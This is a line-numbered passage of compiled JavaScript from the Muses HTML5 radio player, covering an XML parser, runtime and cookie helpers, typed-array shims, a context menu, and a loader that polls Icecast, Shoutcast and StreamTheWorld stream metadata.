| 7066 |
) |
| 7067 |
) { |
| 7068 |
if (n == c) throw new p(new A("Expected node name", a, c)); |
| 7069 |
e = r.substr(a, n, c - n); |
| 7070 |
if (d.nodeType != h.Element) |
| 7071 |
throw new p( |
| 7072 |
"Bad node type, expected Element but found " + d.nodeType |
| 7073 |
); |
| 7074 |
if (e != d.nodeName) { |
| 7075 |
if (d.nodeType != h.Element) |
| 7076 |
throw new p( |
| 7077 |
"Bad node type, expected Element but found " + d.nodeType |
| 7078 |
); |
| 7079 |
throw new p(new A("Expected </" + d.nodeName + ">", a, c)); |
| 7080 |
} |
| 7081 |
f = 0; |
| 7082 |
e = 12; |
| 7083 |
continue; |
| 7084 |
} |
| 7085 |
break; |
| 7086 |
case 11: |
| 7087 |
if (62 == m) f = 1; |
| 7088 |
else throw new p(new A("Expected >", a, c)); |
| 7089 |
break; |
| 7090 |
case 12: |
| 7091 |
if (62 == m) return 0 == w && d.addChild(h.createPCData("")), c; |
| 7092 |
throw new p(new A("Expected >", a, c)); |
| 7093 |
case 13: |
| 7094 |
60 == m |
| 7095 |
? ((e = c - n), |
| 7096 |
(l.b += null == e ? r.substr(a, n, null) : r.substr(a, n, e)), |
| 7097 |
(e = h.createPCData(l.b)), |
| 7098 |
(l = new N()), |
| 7099 |
d.addChild(e), |
| 7100 |
++w, |
| 7101 |
(f = 0), |
| 7102 |
(e = 2)) |
| 7103 |
: 38 == m && |
| 7104 |
((q = c - n), |
| 7105 |
(l.b += null == q ? r.substr(a, n, null) : r.substr(a, n, q)), |
| 7106 |
(f = 18), |
| 7107 |
(q = 13), |
| 7108 |
(n = c + 1)); |
| 7109 |
break; |
| 7110 |
case 14: |
| 7111 |
63 == m && |
| 7112 |
62 == a.charCodeAt(c + 1) && |
| 7113 |
(++c, |
| 7114 |
(m = r.substr(a, n + 1, c - n - 2)), |
| 7115 |
d.addChild(h.createProcessingInstruction(m)), |
| 7116 |
++w, |
| 7117 |
(f = 1)); |
| 7118 |
break; |
| 7119 |
case 15: |
| 7120 |
45 == m && |
| 7121 |
45 == a.charCodeAt(c + 1) && |
| 7122 |
62 == a.charCodeAt(c + 2) && |
| 7123 |
(d.addChild(h.createComment(r.substr(a, n, c - n))), |
| 7124 |
++w, |
| 7125 |
(c += 2), |
| 7126 |
(f = 1)); |
| 7127 |
break; |
| 7128 |
case 16: |
| 7129 |
91 == m |
| 7130 |
? ++u |
| 7131 |
: 93 == m |
| 7132 |
? --u |
| 7133 |
: 62 == m && |
| 7134 |
0 == u && |
| 7135 |
(d.addChild(h.createDocType(r.substr(a, n, c - n))), |
| 7136 |
++w, |
| 7137 |
(f = 1)); |
| 7138 |
break; |
| 7139 |
case 17: |
| 7140 |
93 == m && |
| 7141 |
93 == a.charCodeAt(c + 1) && |
| 7142 |
62 == a.charCodeAt(c + 2) && |
| 7143 |
((m = h.createCData(r.substr(a, n, c - n))), |
| 7144 |
d.addChild(m), |
| 7145 |
++w, |
| 7146 |
(c += 2), |
| 7147 |
(f = 1)); |
| 7148 |
break; |
| 7149 |
case 18: |
| 7150 |
if (59 == m) { |
| 7151 |
n = r.substr(a, n, c - n); |
| 7152 |
if (35 == n.charCodeAt(0)) |
| 7153 |
(n = |
| 7154 |
120 == n.charCodeAt(1) |
| 7155 |
? I.parseInt("0" + r.substr(n, 1, n.length - 1)) |
| 7156 |
: I.parseInt(r.substr(n, 1, n.length - 1))), |
| 7157 |
(l.b += String.fromCharCode(n)); |
| 7158 |
else if ( |
| 7159 |
((m = L.escapes), |
| 7160 |
null != t[n] ? m.existsReserved(n) : m.h.hasOwnProperty(n)) |
| 7161 |
) |
| 7162 |
(m = L.escapes), |
| 7163 |
(n = null != t[n] ? m.getReserved(n) : m.h[n]), |
| 7164 |
(l.b += I.string(n)); |
| 7165 |
else { |
| 7166 |
if (b) throw new p(new A("Undefined entity: " + n, a, c)); |
| 7167 |
l.b += I.string("&" + n + ";"); |
| 7168 |
} |
| 7169 |
n = c + 1; |
| 7170 |
f = q; |
| 7171 |
} else if ( |
| 7172 |
!( |
| 7173 |
(97 <= m && 122 >= m) || |
| 7174 |
(65 <= m && 90 >= m) || |
| 7175 |
(48 <= m && 57 >= m) || |
| 7176 |
58 == m || |
| 7177 |
46 == m || |
| 7178 |
95 == m || |
| 7179 |
45 == m |
| 7180 |
) && |
| 7181 |
35 != m |
| 7182 |
) { |
| 7183 |
if (b) |
| 7184 |
throw new p( |
| 7185 |
new A( |
| 7186 |
"Invalid character in entity: " + String.fromCharCode(m), |
| 7187 |
a, |
| 7188 |
c |
| 7189 |
) |
| 7190 |
); |
| 7191 |
l.b += "&"; |
| 7192 |
m = c - n; |
| 7193 |
l.b += null == m ? r.substr(a, n, null) : r.substr(a, n, m); |
| 7194 |
n = c--; |
| 7195 |
f = q; |
| 7196 |
} |
| 7197 |
} |
| 7198 |
m = a.charCodeAt(++c); |
| 7199 |
} |
| 7200 |
1 == f && ((n = c), (f = 13)); |
| 7201 |
if (13 == f) { |
| 7202 |
if (c != n || 0 == w) |
| 7203 |
(b = c - n), |
| 7204 |
(l.b += null == b ? r.substr(a, n, null) : r.substr(a, n, b)), |
| 7205 |
d.addChild(h.createPCData(l.b)); |
| 7206 |
return c; |
| 7207 |
} |
| 7208 |
if (!b && 18 == f && 13 == q) |
| 7209 |
return ( |
| 7210 |
(l.b += "&"), |
| 7211 |
(b = c - n), |
| 7212 |
(l.b += null == b ? r.substr(a, n, null) : r.substr(a, n, b)), |
| 7213 |
d.addChild(h.createPCData(l.b)), |
| 7214 |
c |
| 7215 |
); |
| 7216 |
throw new p(new A("Unexpected end", a, c)); |
| 7217 |
}; |
| 7218 |
var p = function (a) { |
| 7219 |
Error.call(this); |
| 7220 |
this.val = a; |
| 7221 |
this.message = String(a); |
| 7222 |
Error.captureStackTrace && Error.captureStackTrace(this, p); |
| 7223 |
}; |
| 7224 |
p.__name__ = ["js", "_Boot", "HaxeError"]; |
| 7225 |
p.wrap = function (a) { |
| 7226 |
return a instanceof Error ? a : new p(a); |
| 7227 |
}; |
| 7228 |
p.__super__ = Error; |
| 7229 |
p.prototype = k(Error.prototype, { __class__: p }); |
| 7230 |
var x = function () {}; |
| 7231 |
x.__name__ = ["js", "Boot"]; |
| 7232 |
x.getClass = function (a) { |
| 7233 |
if (a instanceof Array && null == a.__enum__) return Array; |
| 7234 |
var b = a.__class__; |
| 7235 |
if (null != b) return b; |
| 7236 |
a = x.__nativeClassName(a); |
| 7237 |
return null != a ? x.__resolveNativeClass(a) : null; |
| 7238 |
}; |
| 7239 |
x.__string_rec = function (a, b) { |
| 7240 |
if (null == a) return "null"; |
| 7241 |
if (5 <= b.length) return "<...>"; |
| 7242 |
var c = typeof a; |
| 7243 |
"function" == c && (a.__name__ || a.__ename__) && (c = "object"); |
| 7244 |
switch (c) { |
| 7245 |
case "function": |
| 7246 |
return "<function>"; |
| 7247 |
case "object": |
| 7248 |
if (a instanceof Array) { |
| 7249 |
if (a.__enum__) { |
| 7250 |
if (2 == a.length) return a[0]; |
| 7251 |
c = a[0] + "("; |
| 7252 |
b += "\t"; |
| 7253 |
for (var d = 2, e = a.length; d < e; ) { |
| 7254 |
var f = d++; |
| 7255 |
c = |
| 7256 |
2 != f |
| 7257 |
? c + ("," + x.__string_rec(a[f], b)) |
| 7258 |
: c + x.__string_rec(a[f], b); |
| 7259 |
} |
| 7260 |
return c + ")"; |
| 7261 |
} |
| 7262 |
c = a.length; |
| 7263 |
d = "["; |
| 7264 |
b += "\t"; |
| 7265 |
for (e = 0; e < c; ) |
| 7266 |
(f = e++), (d += (0 < f ? "," : "") + x.__string_rec(a[f], b)); |
| 7267 |
return d + "]"; |
| 7268 |
} |
| 7269 |
try { |
| 7270 |
d = a.toString; |
| 7271 |
} catch (Pa) { |
| 7272 |
return "???"; |
| 7273 |
} |
| 7274 |
if ( |
| 7275 |
null != d && |
| 7276 |
d != Object.toString && |
| 7277 |
"function" == typeof d && |
| 7278 |
((c = a.toString()), "[object Object]" != c) |
| 7279 |
) |
| 7280 |
return c; |
| 7281 |
c = null; |
| 7282 |
d = "{\n"; |
| 7283 |
b += "\t"; |
| 7284 |
e = null != a.hasOwnProperty; |
| 7285 |
for (c in a) |
| 7286 |
(e && !a.hasOwnProperty(c)) || |
| 7287 |
"prototype" == c || |
| 7288 |
"__class__" == c || |
| 7289 |
"__super__" == c || |
| 7290 |
"__interfaces__" == c || |
| 7291 |
"__properties__" == c || |
| 7292 |
(2 != d.length && (d += ", \n"), |
| 7293 |
(d += b + c + " : " + x.__string_rec(a[c], b))); |
| 7294 |
b = b.substring(1); |
| 7295 |
return d + ("\n" + b + "}"); |
| 7296 |
case "string": |
| 7297 |
return a; |
| 7298 |
default: |
| 7299 |
return String(a); |
| 7300 |
} |
| 7301 |
}; |
| 7302 |
x.__interfLoop = function (a, b) { |
| 7303 |
if (null == a) return !1; |
| 7304 |
if (a == b) return !0; |
| 7305 |
var c = a.__interfaces__; |
| 7306 |
if (null != c) |
| 7307 |
for (var d = 0, e = c.length; d < e; ) { |
| 7308 |
var f = d++; |
| 7309 |
f = c[f]; |
| 7310 |
if (f == b || x.__interfLoop(f, b)) return !0; |
| 7311 |
} |
| 7312 |
return x.__interfLoop(a.__super__, b); |
| 7313 |
}; |
| 7314 |
x.__instanceof = function (a, b) { |
| 7315 |
if (null == b) return !1; |
| 7316 |
switch (b) { |
| 7317 |
case Array: |
| 7318 |
return a instanceof Array ? null == a.__enum__ : !1; |
| 7319 |
case Ia: |
| 7320 |
return "boolean" == typeof a; |
| 7321 |
case La: |
| 7322 |
return !0; |
| 7323 |
case Ja: |
| 7324 |
return "number" == typeof a; |
| 7325 |
case Ma: |
| 7326 |
return "number" == typeof a ? (a | 0) === a : !1; |
| 7327 |
case String: |
| 7328 |
return "string" == typeof a; |
| 7329 |
default: |
| 7330 |
if (null != a) |
| 7331 |
if ("function" == typeof b) { |
| 7332 |
if (a instanceof b || x.__interfLoop(x.getClass(a), b)) return !0; |
| 7333 |
} else { |
| 7334 |
if ("object" == typeof b && x.__isNativeObj(b) && a instanceof b) |
| 7335 |
return !0; |
| 7336 |
} |
| 7337 |
else return !1; |
| 7338 |
return (b == Na && null != a.__name__) || |
| 7339 |
(b == Oa && null != a.__ename__) |
| 7340 |
? !0 |
| 7341 |
: a.__enum__ == b; |
| 7342 |
} |
| 7343 |
}; |
| 7344 |
x.__nativeClassName = function (a) { |
| 7345 |
a = x.__toStr.call(a).slice(8, -1); |
| 7346 |
return "Object" == a || "Function" == a || "Math" == a || "JSON" == a |
| 7347 |
? null |
| 7348 |
: a; |
| 7349 |
}; |
| 7350 |
x.__isNativeObj = function (a) { |
| 7351 |
return null != x.__nativeClassName(a); |
| 7352 |
}; |
| 7353 |
x.__resolveNativeClass = function (a) { |
| 7354 |
return q[a]; |
| 7355 |
}; |
| 7356 |
var Ea = function () {}; |
| 7357 |
Ea.__name__ = ["js", "Browser"]; |
| 7358 |
Ea.createXMLHttpRequest = function () { |
| 7359 |
if ("undefined" != typeof XMLHttpRequest) return new XMLHttpRequest(); |
| 7360 |
if ("undefined" != typeof ActiveXObject) |
| 7361 |
return new ActiveXObject("Microsoft.XMLHTTP"); |
| 7362 |
throw new p("Unable to create XMLHttpRequest object."); |
| 7363 |
}; |
| 7364 |
var P = function () {}; |
| 7365 |
P.__name__ = ["js", "Cookie"]; |
| 7366 |
P.set = function (a, b, c, d, e) { |
| 7367 |
a = a + "=" + encodeURIComponent(b); |
| 7368 |
null != c && |
| 7369 |
((c = new Date().getTime() + 1e3 * c), |
| 7370 |
(a += ";expires=" + new Date(c).toGMTString())); |
| 7371 |
null != d && (a += ";path=" + d); |
| 7372 |
null != e && (a += ";domain=" + e); |
| 7373 |
window.document.cookie = a; |
| 7374 |
}; |
| 7375 |
P.all = function () { |
| 7376 |
for ( |
| 7377 |
var a = new v(), b = window.document.cookie.split(";"), c = 0; |
| 7378 |
c < b.length; |
| 7379 |
|
| 7380 |
) { |
| 7381 |
var d = b[c]; |
| 7382 |
++c; |
| 7383 |
d = y.ltrim(d); |
| 7384 |
var e = d.split("="); |
| 7385 |
2 > e.length || |
| 7386 |
((d = e[0]), |
| 7387 |
(e = decodeURIComponent(e[1].split("+").join(" "))), |
| 7388 |
null != t[d] ? a.setReserved(d, e) : (a.h[d] = e)); |
| 7389 |
} |
| 7390 |
return a; |
| 7391 |
}; |
| 7392 |
P.exists = function (a) { |
| 7393 |
var b = P.all(); |
| 7394 |
return null != t[a] ? b.existsReserved(a) : b.h.hasOwnProperty(a); |
| 7395 |
}; |
| 7396 |
var H = function (a) { |
| 7397 |
if (a instanceof Array && null == a.__enum__) |
| 7398 |
(this.a = a), (this.byteLength = a.length); |
| 7399 |
else { |
| 7400 |
this.a = []; |
| 7401 |
for (var b = 0; b < a; ) { |
| 7402 |
var c = b++; |
| 7403 |
this.a[c] = 0; |
| 7404 |
} |
| 7405 |
this.byteLength = a; |
| 7406 |
} |
| 7407 |
}; |
| 7408 |
H.__name__ = ["js", "html", "compat", "ArrayBuffer"]; |
| 7409 |
H.sliceImpl = function (a, b) { |
| 7410 |
a = new Ba(this, a, null == b ? null : b - a); |
| 7411 |
b = new Fa(a.byteLength); |
| 7412 |
new Ba(b).set(a); |
| 7413 |
return b; |
| 7414 |
}; |
| 7415 |
H.prototype = { |
| 7416 |
slice: function (a, b) { |
| 7417 |
return new H(this.a.slice(a, b)); |
| 7418 |
}, |
| 7419 |
__class__: H, |
| 7420 |
}; |
| 7421 |
var M = function () {}; |
| 7422 |
M.__name__ = ["js", "html", "compat", "Uint8Array"]; |
| 7423 |
M._new = function (a, b, c) { |
| 7424 |
if ("number" == typeof a) { |
| 7425 |
c = []; |
| 7426 |
for (b = 0; b < a; ) { |
| 7427 |
var d = b++; |
| 7428 |
c[d] = 0; |
| 7429 |
} |
| 7430 |
c.byteLength = c.length; |
| 7431 |
c.byteOffset = 0; |
| 7432 |
c.buffer = new H(c); |
| 7433 |
} else if (x.__instanceof(a, H)) |
| 7434 |
null == b && (b = 0), |
| 7435 |
null == c && (c = a.byteLength - b), |
| 7436 |
(c = 0 == b ? a.a : a.a.slice(b, b + c)), |
| 7437 |
(c.byteLength = c.length), |
| 7438 |
(c.byteOffset = b), |
| 7439 |
(c.buffer = a); |
| 7440 |
else if (a instanceof Array && null == a.__enum__) |
| 7441 |
(c = a.slice()), |
| 7442 |
(c.byteLength = c.length), |
| 7443 |
(c.byteOffset = 0), |
| 7444 |
(c.buffer = new H(c)); |
| 7445 |
else throw new p("TODO " + I.string(a)); |
| 7446 |
c.subarray = M._subarray; |
| 7447 |
c.set = M._set; |
| 7448 |
return c; |
| 7449 |
}; |
| 7450 |
M._set = function (a, b) { |
| 7451 |
if (x.__instanceof(a.buffer, H)) { |
| 7452 |
if (a.byteLength + b > this.byteLength) |
| 7453 |
throw new p("set() outside of range"); |
| 7454 |
for (var c = 0, d = a.byteLength; c < d; ) { |
| 7455 |
var e = c++; |
| 7456 |
this[e + b] = a[e]; |
| 7457 |
} |
| 7458 |
} else if (a instanceof Array && null == a.__enum__) { |
| 7459 |
if (a.length + b > this.byteLength) |
| 7460 |
throw new p("set() outside of range"); |
| 7461 |
c = 0; |
| 7462 |
for (d = a.length; c < d; ) (e = c++), (this[e + b] = a[e]); |
| 7463 |
} else throw new p("TODO"); |
| 7464 |
}; |
| 7465 |
M._subarray = function (a, b) { |
| 7466 |
b = M._new(this.slice(a, b)); |
| 7467 |
b.byteOffset = a; |
| 7468 |
return b; |
| 7469 |
}; |
| 7470 |
var aa = function () { |
| 7471 |
this.title = |
| 7472 |
this.artist = |
| 7473 |
this.album = |
| 7474 |
this.genre = |
| 7475 |
this.comment = |
| 7476 |
this.encoder = |
| 7477 |
this.year = |
| 7478 |
""; |
| 7479 |
}; |
| 7480 |
aa.__name__ = ["muses", "AudioMetadata"]; |
| 7481 |
aa.prototype = { |
| 7482 |
set: function (a, b) { |
| 7483 |
switch (a.toLowerCase()) { |
| 7484 |
case "album": |
| 7485 |
this.album = b; |
| 7486 |
break; |
| 7487 |
case "artist": |
| 7488 |
this.artist = b; |
| 7489 |
break; |
| 7490 |
case "encoder": |
| 7491 |
this.encoder = b; |
| 7492 |
break; |
| 7493 |
case "genre": |
| 7494 |
this.genre = b; |
| 7495 |
break; |
| 7496 |
case "title": |
| 7497 |
this.title = b; |
| 7498 |
break; |
| 7499 |
case "year": |
| 7500 |
this.year = b; |
| 7501 |
} |
| 7502 |
}, |
| 7503 |
getJson: function () { |
| 7504 |
return ( |
| 7505 |
'{"title":"' + |
| 7506 |
y.replace(this.title, '"', "'") + |
| 7507 |
'","artist":"' + |
| 7508 |
y.replace(this.artist, '"', "'") + |
| 7509 |
'","album":"' + |
| 7510 |
y.replace(this.album, '"', "'") + |
| 7511 |
'","genre":"' + |
| 7512 |
y.replace(this.genre, '"', "'") + |
| 7513 |
'","comment":"' + |
| 7514 |
y.replace(this.comment, '"', "'") + |
| 7515 |
'","encoder":"' + |
| 7516 |
y.replace(this.encoder, '"', "'") + |
| 7517 |
'","year":"' + |
| 7518 |
y.replace(this.year, '"', "'") + |
| 7519 |
'"}' |
| 7520 |
); |
| 7521 |
}, |
| 7522 |
__class__: aa, |
| 7523 |
}; |
| 7524 |
var l = function () {}; |
| 7525 |
l.__name__ = ["muses", "ContextMenu"]; |
| 7526 |
l.createContainerDiv = function () { |
| 7527 |
if ( |
| 7528 |
null == l.container && |
| 7529 |
((l.container = window.document.getElementById( |
| 7530 |
"musesContextMenuContainer" |
| 7531 |
)), |
| 7532 |
(l.titleDiv = window.document.getElementById( |
| 7533 |
"musesContextMenuTitleDiv" |
| 7534 |
)), |
| 7535 |
(l.aboutDiv = window.document.getElementById( |
| 7536 |
"musesContextMenuAboutDiv" |
| 7537 |
)), |
| 7538 |
(l.versionDiv = window.document.getElementById( |
| 7539 |
"musesContextMenuVersionDiv" |
| 7540 |
)), |
| 7541 |
null == l.container) |
| 7542 |
) { |
| 7543 |
var a = window.document.createElement("style"), |
| 7544 |
b = window.document.createTextNode( |
| 7545 |
"DIV#musesContextMenuContainer{margin:0;padding:0;z-index:2147483647;text-align:left;width:auto;height:auto;background-color:#fff;border: solid #dedede 1px;position:absolute;cursor:default;display:none;font-family:Arial;color:#000;font-size:12px;border-radius:3px;}DIV#musesContextMenuTitleDiv{margin:0;padding:5px;font-weight:bold;color:#b5b5b5;border-bottom:solid #dedede 1px}DIV#musesContextMenuAboutDiv{margin:0;padding:5px;font-weight:bold;}DIV#musesContextMenuAboutDiv:hover{text-decorations:underline;cursor:pointer;background-color:#eee;}DIV#musesContextMenuAboutDiv A {text-decoration:none;color:#555}DIV#musesContextMenuVersionDiv{margin:0;padding:0px 5px 5px 5px;font-size:11px;}" |
| 7546 |
); |
| 7547 |
a.appendChild(b); |
| 7548 |
l.container = window.document.createElement("div"); |
| 7549 |
l.titleDiv = window.document.createElement("div"); |
| 7550 |
l.aboutDiv = window.document.createElement("div"); |
| 7551 |
l.versionDiv = window.document.createElement("div"); |
| 7552 |
l.container.classList.add("musesStyleReset"); |
| 7553 |
l.container.id = "musesContextMenuContainer"; |
| 7554 |
l.titleDiv.id = "musesContextMenuTitleDiv"; |
| 7555 |
l.aboutDiv.id = "musesContextMenuAboutDiv"; |
| 7556 |
l.versionDiv.id = "musesContextMenuVersionDiv"; |
| 7557 |
l.container.appendChild(l.titleDiv); |
| 7558 |
l.container.appendChild(l.aboutDiv); |
| 7559 |
l.container.appendChild(l.versionDiv); |
| 7560 |
window.document.head.appendChild(a); |
| 7561 |
window.document.body.appendChild(l.container); |
| 7562 |
} |
| 7563 |
}; |
| 7564 |
l.prepare = function (a) { |
| 7565 |
l.createContainerDiv(); |
| 7566 |
l.versionDiv.style.textAlign = a.getTextAlign(); |
| 7567 |
l.aboutDiv.style.textAlign = a.getTextAlign(); |
| 7568 |
var b = a.getText("version") + " "; |
| 7569 |
l.versionDiv.innerHTML = b + "2.4.5 (html5)"; |
| 7570 |
a = |
| 7571 |
"<a href='https://www.muses.org/' target='_blank'>" + |
| 7572 |
a.getText("about"); |
| 7573 |
l.aboutDiv.innerHTML = a + "</a>"; |
| 7574 |
}; |
| 7575 |
l.hide = function (a) { |
| 7576 |
l.displaying && |
| 7577 |
((l.container.style.display = "none"), |
| 7578 |
window.document.removeEventListener("click", l.hide), |
| 7579 |
(l.displaying = !1)); |
| 7580 |
}; |
| 7581 |
l.display = function (a, b, c, d) { |
| 7582 |
l.prepare(d); |
| 7583 |
l.displaying || |
| 7584 |
((l.container.style.display = "block"), |
| 7585 |
window.document.addEventListener("click", l.hide), |
| 7586 |
(l.displaying = !0)); |
| 7587 |
l.container.style.left = a - 3 + "px"; |
| 7588 |
l.container.style.top = b - 3 + "px"; |
| 7589 |
l.titleDiv.style.textAlign = d.getTextAlign(); |
| 7590 |
l.titleDiv.innerHTML = c; |
| 7591 |
}; |
| 7592 |
var Ca = function (a, b) { |
| 7593 |
this.timer = null; |
| 7594 |
this.player = a; |
| 7595 |
null != b.metadataMode && (this.metadataMode = b.metadataMode); |
| 7596 |
this.interval = null != b.metadataInterval ? b.metadataInterval : 20; |
| 7597 |
null != b.metadataProxy && (this.proxy = b.metadataProxy); |
| 7598 |
"" == this.proxy && (this.proxy = null); |
| 7599 |
}; |
| 7600 |
Ca.__name__ = ["muses", "MetadataLoader"]; |
| 7601 |
Ca.prototype = { |
| 7602 |
stop: function () { |
| 7603 |
null != this.timer && (this.timer.stop(), (this.timer = null)); |
| 7604 |
}, |
| 7605 |
begin: function () { |
| 7606 |
("icecast" != this.metadataMode && |
| 7607 |
"streamtheworld" != this.metadataMode && |
| 7608 |
"shoutcast" != this.metadataMode) || |
| 7609 |
null != this.timer || |
| 7610 |
((this.timer = new G(1e3 * this.interval)), |
| 7611 |
(this.timer.run = u(this, this.loop)), |
| 7612 |
this.loop()); |
| 7613 |
}, |
| 7614 |
loop: function () { |
| 7615 |
if (this.player.shouldBePlaying()) { |
| 7616 |
switch (this.metadataMode) { |
| 7617 |
case "icecast": |
| 7618 |
var a = this.player.getCurrentUrl().split("?")[0] + ".xspf"; |
| 7619 |
break; |
| 7620 |
case "shoutcast": |
| 7621 |
a = |
| 7622 |
r.substr( |
| 7623 |
this.player.getCurrentUrl(), |
| 7624 |
0, |
| 7625 |
this.player.getCurrentUrl().indexOf("/", 9) |
| 7626 |
) + "/7.html"; |
| 7627 |
break; |
| 7628 |
case "streamtheworld": |
| 7629 |
a = this.mUrl + "&" + new Date().getTime(); |
| 7630 |
break; |
| 7631 |
default: |
| 7632 |
a = null; |
| 7633 |
} |
| 7634 |
null != this.proxy && |
| 7635 |
(a = this.proxy + "?url=" + y.replace(a, ":", "%3A")); |
| 7636 |
this.loadMetadata(a); |
| 7637 |
} else this.stop(); |
| 7638 |
}, |
| 7639 |
loadMetadata: function (a) { |
| 7640 |
a = new T(a); |
| 7641 |
a.onError = u(this, this.onError); |
| 7642 |
switch (this.metadataMode) { |
| 7643 |
case "icecast": |
| 7644 |
var b = u(this, this.loadIcecastEvent); |
| 7645 |
break; |
| 7646 |
case "shoutcast": |
| 7647 |
b = u(this, this.loadShoutcastEvent); |
| 7648 |
break; |
| 7649 |
case "streamtheworld": |
| 7650 |
b = u(this, this.loadStreamTheWorldEvent); |
| 7651 |
break; |
| 7652 |
default: |
| 7653 |
b = null; |
| 7654 |
} |
| 7655 |
a.onData = b; |
| 7656 |
a.async = !0; |
| 7657 |
a.request(!1); |
| 7658 |
}, |
| 7659 |
onError: function (a) { |
| 7660 |
console.log("Metadata Error: " + a); |
| 7661 |
}, |
| 7662 |
loadStreamTheWorldEvent: function (a) { |
| 7663 |
a = h.parse(a); |
| 7664 |
if (a.nodeType != h.Document && a.nodeType != h.Element) |
| 7665 |
throw new p( |
| 7666 |
"Bad node type, expected Element or Document but found " + |
| 7667 |
a.nodeType |
| 7668 |
); |
| 7669 |
a = a.children[0]; |
| 7670 |
if (a.nodeType != h.Element) |
| 7671 |
throw new p( |
| 7672 |
"Bad node type, expected Element but found " + a.nodeType |
| 7673 |
); |
| 7674 |
if ("nowplaying-info-list" == a.nodeName.toLowerCase()) |
| 7675 |
for (a = a.elementsNamed("nowplaying-info"); a.hasNext(); ) { |
| 7676 |
var b = a.next(); |
| 7677 |
a = new aa(); |
| 7678 |
for (b = b.elementsNamed("property"); b.hasNext(); ) { |
| 7679 |
var c = b.next(); |
| 7680 |
if ("cue_title" == c.get("name")) { |
| 7681 |
if (c.nodeType != h.Document && c.nodeType != h.Element) |
| 7682 |
throw new p( |
| 7683 |
"Bad node type, expected Element or Document but found " + |
| 7684 |
c.nodeType |
| 7685 |
); |
| 7686 |
var d = c.children[0]; |
| 7687 |
if (d.nodeType == h.Document || d.nodeType == h.Element) |
| 7688 |
throw new p("Bad node type, unexpected " + d.nodeType); |
| 7689 |
a.title = d.nodeValue; |
| 7690 |
} |
| 7691 |
if ("track_artist_name" == c.get("name")) { |
| 7692 |
if (c.nodeType != h.Document && c.nodeType != h.Element) |
| 7693 |
throw new p( |
| 7694 |
"Bad node type, expected Element or Document but found " + |
| 7695 |
c.nodeType |
| 7696 |
); |
| 7697 |
d = c.children[0]; |
| 7698 |
if (d.nodeType == h.Document || d.nodeType == h.Element) |
| 7699 |
throw new p("Bad node type, unexpected " + d.nodeType); |
| 7700 |
a.artist = d.nodeValue; |
| 7701 |
} |
| 7702 |
if ("cue_time_start" == c.get("name")) { |
| 7703 |
if (c.nodeType != h.Document && c.nodeType != h.Element) |
| 7704 |
throw new p( |
| 7705 |
"Bad node type, expected Element or Document but found " + |
| 7706 |
c.nodeType |
| 7707 |
); |
| 7708 |
c = c.children[0]; |
| 7709 |
if (c.nodeType == h.Document || c.nodeType == h.Element) |
| 7710 |
throw new p("Bad node type, unexpected " + c.nodeType); |
| 7711 |
a.comment = c.nodeValue; |
| 7712 |
} |
| 7713 |
} |
| 7714 |
this.player.ui.setMetadata(a); |
| 7715 |
break; |
| 7716 |
} |
| 7717 |
}, |
| 7718 |
loadShoutcastEvent: function (a) { |
| 7719 |
if (null != a && "" != a) { |
| 7720 |
a = y.replace(a, "<html>", ""); |
| 7721 |
a = y.replace(a, "</html>", ""); |
| 7722 |
a = y.replace(a, "<body>", ""); |
| 7723 |
a = y.replace(a, "</body>", ""); |
| 7724 |
a = a.split(","); |
| 7725 |
for (var b = a[6], c = 7, d = a.length; c < d; ) { |
| 7726 |
var e = c++; |
| 7727 |
b += "," + a[e]; |
| 7728 |
} |
| 7729 |
null != b && |
| 7730 |
"" != b && |
| 7731 |
this.player.ui.setMetadataFromString(y.trim(b)); |
| 7732 |
} |
| 7733 |
}, |
| 7734 |
loadIcecastEvent: function (a) { |
| 7735 |
if (null != a && "" != a) { |
| 7736 |
var b = h.parse(a).firstElement(), |
| 7737 |
c = (a = null); |
| 7738 |
if (b.nodeType != h.Element) |
| 7739 |
throw new p( |
| 7740 |
"Bad node type, expected Element but found " + b.nodeType |
| 7741 |
); |
| 7742 |
if ("playlist" == b.nodeName.toLowerCase()) { |
| 7743 |
for (b = b.elements(); b.hasNext(); ) { |
| 7744 |
var d = b.next(); |
| 7745 |
if (d.nodeType != h.Element) |
| 7746 |
throw new p( |
| 7747 |
"Bad node type, expected Element but found " + d.nodeType |
| 7748 |
); |
| 7749 |
if ("tracklist" == d.nodeName.toLowerCase()) |
| 7750 |
for (d = d.elements(); d.hasNext(); ) { |
| 7751 |
var e = d.next(); |
| 7752 |
if (e.nodeType != h.Element) |
| 7753 |
throw new p( |
| 7754 |
"Bad node type, expected Element but found " + e.nodeType |
| 7755 |
); |
| 7756 |
if ("track" == e.nodeName.toLowerCase()) |
| 7757 |
for (e = e.elements(); e.hasNext(); ) { |
| 7758 |
var f = e.next(); |
| 7759 |
if (f.nodeType != h.Element) |
| 7760 |
throw new p( |
| 7761 |
"Bad node type, expected Element but found " + |
| 7762 |
f.nodeType |
| 7763 |
); |
| 7764 |
if ("title" == f.nodeName.toLowerCase()) { |
| 7765 |
if (f.nodeType != h.Document && f.nodeType != h.Element) |
| 7766 |
throw new p( |
| 7767 |
"Bad node type, expected Element or Document but found " + |
| 7768 |
f.nodeType |
| 7769 |
); |
| 7770 |
a = f.children[0]; |
| 7771 |
if (a.nodeType == h.Document || a.nodeType == h.Element) |
| 7772 |
throw new p( |
| 7773 |
"Bad node type, unexpected " + a.nodeType |
| 7774 |
); |
| 7775 |
a = a.nodeValue; |
| 7776 |
} else { |
| 7777 |
if (null == c) { |
| 7778 |
if (f.nodeType != h.Element) |
| 7779 |
throw new p( |
| 7780 |
"Bad node type, expected Element but found " + |
| 7781 |
f.nodeType |
| 7782 |
); |
| 7783 |
var k = "creator" == f.nodeName.toLowerCase(); |
| 7784 |
} else k = !1; |
| 7785 |
if (k) { |
| 7786 |
if ( |
| 7787 |
f.nodeType != h.Document && |
| 7788 |
f.nodeType != h.Element |
| 7789 |
) |
| 7790 |
throw new p( |
| 7791 |
"Bad node type, expected Element or Document but found " + |
| 7792 |
f.nodeType |
| 7793 |
); |
| 7794 |
c = f.children[0]; |
| 7795 |
if ( |
| 7796 |
c.nodeType == h.Document || |
| 7797 |
c.nodeType == h.Element |
| 7798 |
) |
| 7799 |
throw new p( |
| 7800 |
"Bad node type, unexpected " + c.nodeType |
| 7801 |
); |
| 7802 |
c = c.nodeValue; |
| 7803 |
} else { |
| 7804 |
if (f.nodeType != h.Element) |
| 7805 |
throw new p( |
| 7806 |
"Bad node type, expected Element but found " + |
| 7807 |
f.nodeType |
| 7808 |
); |
| 7809 |
if ("artist" == f.nodeName.toLowerCase()) { |
| 7810 |
if ( |
| 7811 |
f.nodeType != h.Document && |
| 7812 |
f.nodeType != h.Element |
| 7813 |
) |
| 7814 |
